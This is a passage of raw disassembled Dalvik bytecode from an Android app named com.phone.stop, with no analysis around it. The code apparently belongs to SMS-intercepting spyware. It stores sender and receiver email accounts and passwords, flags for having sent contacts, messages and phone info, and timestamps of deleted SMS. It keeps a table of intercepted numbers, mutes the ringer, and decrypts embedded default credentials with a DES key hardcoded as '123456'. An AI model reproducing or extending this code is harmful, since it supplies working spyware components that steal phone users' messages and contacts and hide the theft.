0000002E invoke-static a->a(Context)a, p0
00000034 move-result-object v1
00000036 invoke-virtual a->f(String)V, v1, v0
0000003C invoke-static a->a(Context)a, p0
00000042 move-result-object v0
00000044 const/4 v1, 0x1
00000046 invoke-virtual a->j(Z)V, v0, v1
0000004C goto :14
.end method
.method public static e(Context)V
.registers 3
00000000 invoke-static a->a(Context)a, p0
00000006 move-result-object v0
00000008 invoke-virtual a->f()Z, v0
0000000E move-result v0
00000010 if-eqz v0, :16
:14
00000014 return-void
:16
00000016 invoke-static a->a(Context)a, p0
0000001C move-result-object v0
0000001E invoke-virtual a->e()String, v0
00000024 move-result-object v0
00000026 invoke-static g->a(String)String, v0
0000002C move-result-object v0
0000002E invoke-static a->a(Context)a, p0
00000034 move-result-object v1
00000036 invoke-virtual a->c(String)V, v1, v0
0000003C invoke-static a->a(Context)a, p0
00000042 move-result-object v0
00000044 const/4 v1, 0x1
00000046 invoke-virtual a->c(Z)V, v0, v1
0000004C goto :14
.end method
#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""
.field public a:String
.field public b:String
.field public c:String
.field public d:String
.field public e:I
.field public f:J
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""
.field public a:J
.field public b:String
.field public c:String
.field public d:ArrayList
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ArrayList
0000000A invoke-direct ArrayList-><init>()V, v0
00000010 iput-object v0, p0, b->d:ArrayList
00000014 return-void
.end method
#--------------------------------------------------------------------------------
.class public c
.super Object
.source ""
.field public a:J
.field public b:String
.field public c:String
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const-string v0, ""
0000000A iput-object v0, p0, c->c:String
0000000E return-void
.end method
#--------------------------------------------------------------------------------
.class public PhoneApplication
.super Application
.source ""
.field private static a:PhoneApplication
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Application-><init>()V, p0
00000006 return-void
.end method
.method public static a()PhoneApplication
.registers 1
00000000 sget-object v0, PhoneApplication->a:PhoneApplication
00000004 return-object v0
.end method
.method private b()V
.registers 1
00000000 return-void
.end method
.method public onCreate()V
.registers 1
00000000 invoke-super Application->onCreate()V, p0
00000006 sput-object p0, PhoneApplication->a:PhoneApplication
0000000A invoke-direct PhoneApplication->b()V, p0
00000010 return-void
.end method
#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""
.field private static a:a
.field private b:SharedPreferences
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, a->a:a
00000006 return-void
.end method
.method private constructor <init>(Context)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const-string v0, "configurations_data"
0000000A const/4 v1, 0x0
0000000C invoke-virtual Context->getSharedPreferences(String, I)SharedPreferences, p1, v0, v1
00000012 move-result-object v0
00000014 iput-object v0, p0, a->b:SharedPreferences
00000018 return-void
.end method
.method public static a(Context)a
.registers 2
00000000 sget-object v0, a->a:a
00000004 if-nez v0, :16
:8
00000008 new-instance v0, a
0000000C invoke-direct a-><init>(Context)V, v0, p0
00000012 sput-object v0, a->a:a
:16
00000016 sget-object v0, a->a:a
0000001A return-object v0
.end method
.method public a(I)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "app_intercept_type"
00000010 invoke-interface SharedPreferences$Editor->putInt(String, I)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public a(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "last_delete_sms_time"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public a(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "have_app_jihuo"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public a()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "have_app_jihuo"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public b()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "last_delete_sms_time"
00000008 const-string v2, "000000000"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public b(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "i_want_xxoo"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public b(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "have_init_phone_number"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public c()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "i_want_xxoo"
00000008 const-string v2, "6e41a0cbe696cbba11e054013b6a0b04"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public c(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "app_end_time"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public c(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "is_init_end_time"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public d(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "send_email_account"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public d(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_delete_message"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public d()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "have_init_phone_number"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public e()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "app_end_time"
00000008 const-string v2, "f836c71f8d6fa6d0957f3215d8b6f13fcef7f91916798b69"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public e(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "receive_email_account"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public e(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_send_phone_info"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public f(String)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "send_email_pwd"
00000010 invoke-interface SharedPreferences$Editor->putString(String, String)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public f(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_send_contacts"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public f()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "is_init_end_time"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public g()I
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "app_intercept_type"
00000008 const/4 v2, 0x1
0000000A invoke-interface SharedPreferences->getInt(String, I)I, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public g(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_send_message"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public h(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_set_send_email_account"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public h()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_delete_message"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public i(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_set_receive_email_account"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public i()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_send_phone_info"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public j(Z)V
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v0
0000000A move-result-object v0
0000000C const-string v1, "has_set_send_email_pwd"
00000010 invoke-interface SharedPreferences$Editor->putBoolean(String, Z)SharedPreferences$Editor, v0, v1, p1
00000016 invoke-interface SharedPreferences$Editor->commit()Z, v0
0000001C return-void
.end method
.method public j()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "email_message_contacts_switch"
00000008 const/4 v2, 0x1
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public k()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "send_email_message_switch"
00000008 const/4 v2, 0x1
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public l()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_send_contacts"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public m()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_send_message"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public n()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "send_email_account"
00000008 const-string v2, "6e41a0cbe696cbba888fab77590ed57b42c4667d5d21f62b"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public o()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_set_send_email_account"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public p()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "receive_email_account"
00000008 const-string v2, "6e41a0cbe696cbba888fab77590ed57b42c4667d5d21f62b"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public q()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_set_receive_email_account"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
.method public r()String
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "send_email_pwd"
00000008 const-string v2, "776b7b3f260cef5eb80c596c8c9d094ed0c3804faf7f793c"
0000000C invoke-interface SharedPreferences->getString(String, String)String, v0, v1, v2
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public s()Z
.registers 4
00000000 iget-object v0, p0, a->b:SharedPreferences
00000004 const-string v1, "has_set_send_email_pwd"
00000008 const/4 v2, 0x0
0000000A invoke-interface SharedPreferences->getBoolean(String, Z)Z, v0, v1, v2
00000010 move-result v0
00000012 return v0
.end method
#--------------------------------------------------------------------------------
.class public a
.super SQLiteOpenHelper
.source ""
.field private static a:a
.field private static b:SQLiteDatabase
.method private constructor <init>(Context)V
.registers 5
00000000 const-string v0, "phone_database"
00000004 const/4 v1, 0x0
00000006 const/4 v2, 0x1
00000008 invoke-direct SQLiteOpenHelper-><init>(Context, String, SQLiteDatabase$CursorFactory, I)V, p0, p1, v0, v1, v2
0000000E return-void
.end method
.method public static final declared-synchronized a(Context)a
.registers 3
00000000 const-class v1, a
00000004 monitor-enter v1
:6
00000006 sget-object v0, a->a:a
0000000A if-nez v0, :1C
:E
0000000E new-instance v0, a
00000012 invoke-direct a-><init>(Context)V, v0, p0
00000018 sput-object v0, a->a:a
:1C
0000001C sget-object v0, a->a:a
:20
00000020 monitor-exit v1
00000022 return-object v0
:24
00000024 move-exception v0
00000026 monitor-exit v1
00000028 throw v0
.catchall {:6 .. :20} :24
.end method
.method private a(SQLiteDatabase)V
.registers 3
00000000 const-string v0, "CREATE TABLE IF NOT EXISTS intercept_person( \'id\' INTEGER PRIMARY KEY AUTOINCREMENT, \'modified_time\' DATETIME DEFAULT (null), \'created_time\' DATETIME, \'number\' VARCHAR(40), \'name\' VARCHAR(40))"
00000004 invoke-virtual SQLiteDatabase->execSQL(String)V, p1, v0
0000000A return-void
.end method
.method public getReadableDatabase()SQLiteDatabase
.registers 4
00000000 sget-object v0, a->b:SQLiteDatabase
00000004 if-eqz v0, :18
:8
00000008 sget-object v0, a->b:SQLiteDatabase
0000000C invoke-virtual SQLiteDatabase->isOpen()Z, v0
00000012 move-result v0
00000014 if-nez v0, :24
:18
00000018 invoke-super SQLiteOpenHelper->getWritableDatabase()SQLiteDatabase, p0
0000001E move-result-object v0
00000020 sput-object v0, a->b:SQLiteDatabase
:24
00000024 sget-object v0, a->b:SQLiteDatabase
00000028 return-object v0
:2A
0000002A move-exception v0
0000002C const-string v0, "/data/data/com.phone.stop/databases/phone_database"
00000030 const/4 v1, 0x0
00000032 const/4 v2, 0x0
00000034 invoke-static SQLiteDatabase->openDatabase(String, SQLiteDatabase$CursorFactory, I)SQLiteDatabase, v0, v1, v2
0000003A move-result-object v0
0000003C sput-object v0, a->b:SQLiteDatabase
00000040 goto :24
.catch Exception {:18 .. :24} :2A
.end method
.method public getWritableDatabase()SQLiteDatabase
.registers 4
00000000 sget-object v0, a->b:SQLiteDatabase
00000004 if-eqz v0, :18
:8
00000008 sget-object v0, a->b:SQLiteDatabase
0000000C invoke-virtual SQLiteDatabase->isOpen()Z, v0
00000012 move-result v0
00000014 if-nez v0, :24
:18
00000018 invoke-super SQLiteOpenHelper->getWritableDatabase()SQLiteDatabase, p0
0000001E move-result-object v0
00000020 sput-object v0, a->b:SQLiteDatabase
:24
00000024 sget-object v0, a->b:SQLiteDatabase
00000028 return-object v0
:2A
0000002A move-exception v0
0000002C const-string v0, "/data/data/com.phone.stop/databases/phone_database"
00000030 const/4 v1, 0x0
00000032 const/4 v2, 0x0
00000034 invoke-static SQLiteDatabase->openDatabase(String, SQLiteDatabase$CursorFactory, I)SQLiteDatabase, v0, v1, v2
0000003A move-result-object v0
0000003C sput-object v0, a->b:SQLiteDatabase
00000040 goto :24
.catch Exception {:18 .. :24} :2A
.end method
.method public onCreate(SQLiteDatabase)V
.registers 2
00000000 invoke-direct a->a(SQLiteDatabase)V, p0, p1
00000006 return-void
.end method
.method public onUpgrade(SQLiteDatabase, I, I)V
.registers 4
00000000 packed-switch p2, :8
:6
00000006 return-void
00000008 .packed-switch 0x1
:6
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""
.method private static a(Cursor)V
.registers 2
00000000 invoke-interface Cursor->close()V, p0
:6
00000006 return-void
:8
00000008 move-exception v0
0000000A goto :6
.catch Exception {:0 .. :6} :8
.end method
.method public static a()Z
.registers 3
00000000 const/4 v2, 0x0
00000002 invoke-static PhoneApplication->a()PhoneApplication
00000008 move-result-object v0
0000000A invoke-static a->a(Context)a, v0
00000010 move-result-object v0
00000012 invoke-virtual a->getWritableDatabase()SQLiteDatabase, v0
00000018 move-result-object v0
0000001A const-string v1, "intercept_person"
0000001E invoke-virtual SQLiteDatabase->delete(String, String, [String)I, v0, v1, v2, v2
00000024 move-result v0
00000026 if-gez v0, :2E
:2A
0000002A const/4 v0, 0x0
:2C
0000002C return v0
:2E
0000002E const/4 v0, 0x1
00000030 goto :2C
.end method
.method public static a(c)Z
.registers 5
00000000 invoke-static PhoneApplication->a()PhoneApplication
00000006 move-result-object v0
00000008 invoke-static a->a(Context)a, v0
0000000E move-result-object v0
00000010 invoke-virtual a->getWritableDatabase()SQLiteDatabase, v0
00000016 move-result-object v0
00000018 new-instance v1, ContentValues
0000001C invoke-direct ContentValues-><init>()V, v1
00000022 const-string v2, "number"
00000026 iget-object v3, p0, c->c:String
0000002A invoke-virtual ContentValues->put(String, String)V, v1, v2, v3
00000030 const-string v2, "name"
00000034 iget-object v3, p0, c->b:String
00000038 invoke-virtual ContentValues->put(String, String)V, v1, v2, v3
0000003E const-string v2, "created_time"
00000042 const-string v3, "-"
00000046 invoke-static f->a(String)String, v3
0000004C move-result-object v3
0000004E invoke-virtual ContentValues->put(String, String)V, v1, v2, v3
00000054 const-string v2, "modified_time"
00000058 const-string v3, "-"
0000005C invoke-static f->a(String)String, v3
00000062 move-result-object v3
00000064 invoke-virtual ContentValues->put(String, String)V, v1, v2, v3
0000006A const-string v2, "intercept_person"
0000006E const/4 v3, 0x0
00000070 invoke-virtual SQLiteDatabase->insert(String, String, ContentValues)J, v0, v2, v3, v1
00000076 move-result-wide v0
00000078 const-wide/16 v2, 0x0
0000007C cmp-long v0, v0, v2
00000080 if-gez v0, :88
:84
00000084 const/4 v0, 0x0
:86
00000086 return v0
:88
00000088 const/4 v0, 0x1
0000008A goto :86
.end method
.method public static a(String)Z
.registers 8
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-static PhoneApplication->a()PhoneApplication
0000000A move-result-object v2
0000000C invoke-static a->a(Context)a, v2
00000012 move-result-object v2
00000014 invoke-virtual a->getWritableDatabase()SQLiteDatabase, v2
0000001A move-result-object v2
0000001C const-string v3, "intercept_person"
00000020 const-string v4, "number=?"
00000024 new-array v5, v1, [String
00000028 new-instance v6, StringBuilder
0000002C invoke-direct StringBuilder-><init>()V, v6
00000032 invoke-virtual StringBuilder->append(String)StringBuilder, v6, p0
00000038 move-result-object v6
0000003A invoke-virtual StringBuilder->toString()String, v6
00000040 move-result-object v6
00000042 aput-object v6, v5, v0
00000046 invoke-virtual SQLiteDatabase->delete(String, String, [String)I, v2, v3, v4, v5
0000004C move-result v2
0000004E if-gez v2, :54
:52
00000052 return v0
:54
00000054 move v0, v1
00000056 goto :52
.end method
.method public static b()ArrayList
.registers 8
00000000 const/4 v2, 0x0
00000002 invoke-static PhoneApplication->a()PhoneApplication
00000008 move-result-object v0
0000000A invoke-static a->a(Context)a, v0
00000010 move-result-object v0
00000012 invoke-virtual a->getReadableDatabase()SQLiteDatabase, v0
00000018 move-result-object v0
0000001A const-string v1, "intercept_person"
0000001E move-object v3, v2
00000020 move-object v4, v2
00000022 move-object v5, v2
00000024 move-object v6, v2
00000026 move-object v7, v2
00000028 invoke-virtual/range SQLiteDatabase->query(String, [String, String, [String, String, String, String)Cursor, v0 .. v7
0000002E move-result-object v0
00000030 new-instance v1, ArrayList
00000034 invoke-direct ArrayList-><init>()V, v1
:3A
0000003A invoke-interface Cursor->moveToNext()Z, v0
00000040 move-result v2
00000042 if-nez v2, :4E
:46
00000046 invoke-static b->a(Cursor)V, v0
0000004C return-object v1
:4E
0000004E const-string v2, "id"
00000052 invoke-interface Cursor->getColumnIndex(String)I, v0, v2
00000058 move-result v2
0000005A invoke-interface Cursor->getLong(I)J, v0, v2
00000060 move-result-wide v2
00000062 const-string v4, "number"
00000066 invoke-interface Cursor->getColumnIndex(String)I, v0, v4
0000006C move-result v4
0000006E invoke-interface Cursor->getString(I)String, v0, v4
00000074 move-result-object v4
00000076 const-string v5, "name"
0000007A invoke-interface Cursor->getColumnIndex(String)I, v0, v5
00000080 move-result v5
00000082 invoke-interface Cursor->getString(I)String, v0, v5
00000088 move-result-object v5
0000008A new-instance v6, c
0000008E invoke-direct c-><init>()V, v6
00000094 iput-wide v2, v6, c->a:J
00000098 iput-object v4, v6, c->c:String
0000009C iput-object v5, v6, c->b:String
000000A0 invoke-virtual ArrayList->add(Object)Z, v1, v6
000000A6 goto :3A
.end method
#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""
.method public static a(c)V
.registers 3
00000000 if-nez p0, :6
:4
00000004 return-void
:6
00000006 new-instance v0, b
0000000A invoke-direct b-><init>(c)V, v0, p0
00000010 const/4 v1, 0x0
00000012 new-array v1, v1, [Void
00000016 invoke-virtual b->execute([Object)AsyncTask, v0, v1
0000001C goto :4
.end method
#--------------------------------------------------------------------------------
.class b
.super AsyncTask
.source ""
.field private final synthetic a:c
.method constructor <init>(c)V
.registers 2
00000000 iput-object p1, p0, b->a:c
00000004 invoke-direct AsyncTask-><init>()V, p0
0000000A return-void
.end method
.method protected transient varargs a([Void)Object
.registers 3
00000000 iget-object v0, p0, b->a:c
00000004 invoke-interface c->a()Object, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method protected transient varargs synthetic doInBackground([Object)Object
.registers 3
00000000 check-cast p1, [Void
00000004 invoke-virtual b->a([Void)Object, p0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method protected onPostExecute(Object)V
.registers 3
00000000 iget-object v0, p0, b->a:c
00000004 invoke-interface c->a(Object)V, v0, p1
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public d
.super Object
.source ""
.method public static a(Context, I)V
.registers 3
00000000 const-string v0, "audio"
00000004 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, AudioManager
00000010 if-eqz v0, :1A
:14
00000014 invoke-virtual AudioManager->setRingerMode(I)V, v0, p1
:1A
0000001A return-void
.end method
.method public static a(Context, Z)V
.registers 4
00000000 const-string v0, "audio"
00000004 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, AudioManager
00000010 if-eqz v0, :1C
:14
00000014 const/4 v1, 0x3
00000016 invoke-virtual AudioManager->setStreamMute(I, Z)V, v0, v1, p1
:1C
0000001C return-void
.end method
.method public static b(Context, I)V
.registers 4
00000000 const-string v0, "audio"
00000004 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, AudioManager
00000010 if-eqz v0, :1C
:14
00000014 const/4 v1, 0x0
00000016 invoke-virtual AudioManager->setVibrateSetting(I, I)V, v0, v1, p1
:1C
0000001C return-void
.end method
.method public static c(Context, I)V
.registers 4
00000000 const-string v0, "audio"
00000004 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, AudioManager
00000010 if-eqz v0, :1C
:14
00000014 const/4 v1, 0x1
00000016 invoke-virtual AudioManager->setVibrateSetting(I, I)V, v0, v1, p1
:1C
0000001C return-void
.end method
#--------------------------------------------------------------------------------
.class public e
.super Object
.source ""
.field private static a:String
.field private b:Cipher
.field private c:Cipher
.method static constructor <clinit>()V
.registers 1
00000000 const-string v0, "123456"
00000004 sput-object v0, e->a:String
00000008 return-void
.end method
.method public constructor <init>()V
.registers 2
00000000 sget-object v0, e->a:String
00000004 invoke-direct e-><init>(String)V, p0, v0
0000000A return-void
.end method
.method public constructor <init>(String)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, e->b:Cipher
0000000C iput-object v0, p0, e->c:Cipher
00000010 invoke-virtual String->getBytes()[B, p1
00000016 move-result-object v0
00000018 invoke-direct e->b([B)Key, p0, v0
0000001E move-result-object v0
00000020 const-string v1, "DES"
00000024 invoke-static Cipher->getInstance(String)Cipher, v1
0000002A move-result-object v1
0000002C iput-object v1, p0, e->b:Cipher
00000030 iget-object v1, p0, e->b:Cipher
00000034 const/4 v2, 0x1
00000036 invoke-virtual Cipher->init(I, Key)V, v1, v2, v0
0000003C const-string v1, "DES"
00000040 invoke-static Cipher->getInstance(String)Cipher, v1
00000046 move-result-object v1
00000048 iput-object v1, p0, e->c:Cipher
0000004C iget-object v1, p0, e->c:Cipher
00000050 const/4 v2, 0x2
00000052 invoke-virtual Cipher->init(I, Key)V, v1, v2, v0
00000058 return-void
.end method
.method public static a(String)[B
.registers 8
00000000 invoke-virtual String->getBytes()[B, p0
00000006 move-result-object v1
00000008 array-length v2, v1
0000000A div-int/lit8 v0, v2, 0x2
0000000E new-array v3, v0, [B
00000012 const/4 v0, 0x0
:14
00000014 if-lt v0, v2, :1A
:18
00000018 return-object v3
:1A
0000001A new-instance v4, String
0000001E const/4 v5, 0x2
00000020 invoke-direct String-><init>([B, I, I)V, v4, v1, v0, v5
00000026 div-int/lit8 v5, v0, 0x2
0000002A const/16 v6, 0x10
0000002E invoke-static Integer->parseInt(String, I)I, v4, v6
00000034 move-result v4
00000036 int-to-byte v4, v4
00000038 aput-byte v4, v3, v5
0000003C add-int/lit8 v0, v0, 0x2
00000040 goto :14
.end method
.method private b([B)Key
.registers 5
00000000 const/16 v0, 0x8
00000004 new-array v1, v0, [B
00000008 const/4 v0, 0x0
:A
0000000A array-length v2, p1
0000000C if-ge v0, v2, :16
:10
00000010 array-length v2, v1
00000012 if-lt v0, v2, :26
:16
00000016 new-instance v0, SecretKeySpec
0000001A const-string v2, "DES"
0000001E invoke-direct SecretKeySpec-><init>([B, String)V, v0, v1, v2
00000024 return-object v0
:26
00000026 aget-byte v2, p1, v0
0000002A aput-byte v2, v1, v0
0000002E add-int/lit8 v0, v0, 0x1
00000032 goto :A
.end method
.method public a([B)[B
.registers 3
00000000 iget-object v0, p0, e->c:Cipher
00000004 invoke-virtual Cipher->doFinal([B)[B, v0, p1
0000000A move-result-object v0
0000000C return-object v0
